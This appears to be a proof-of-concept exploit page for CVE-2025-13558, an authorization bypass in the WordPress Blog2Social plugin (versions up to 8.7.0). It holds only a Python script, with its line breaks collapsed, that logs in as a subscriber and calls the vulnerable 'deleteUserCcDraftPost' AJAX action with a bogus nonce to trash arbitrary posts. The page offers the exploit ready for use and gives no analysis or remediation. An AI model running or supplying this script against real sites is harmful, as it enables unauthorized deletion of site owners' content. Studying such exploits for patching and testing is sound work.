CVE-2025-13558 WordPress Blog2Social插件权限绕过漏洞

import requests import sys # CVE-2025-13558 PoC - Blog2Social Plugin Authorization Bypass # Target: WordPress site with Blog2Social plugin <= 8.7.0 def exploit(target_url, username, password, target_post_id): """ Exploit authorization bypass in Blog2Social's deleteUserCcDraftPost function. This PoC demonstrates how a low-privilege user can trash arbitrary posts. """ session = requests.Session() # Step 1: Authenticate as low-privilege user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit the authorization bypass ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'deleteUserCcDraftPost', # Vulnerable function 'postId': target_post_id, # Arbitrary post ID to trash 'b2sDeleteNonce': 'exploit' # Nonce not properly validated } resp = session.post(ajax_url, data=exploit_data) if resp.status_code == 200: print(f"[+] Sent trashing request for post ID: {target_post_id}") print(f"[+] Response: {resp.text}") return True else: print(f"[-] Request failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <post_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] post_id = sys.argv[4] exploit(target, user, pwd, post_id)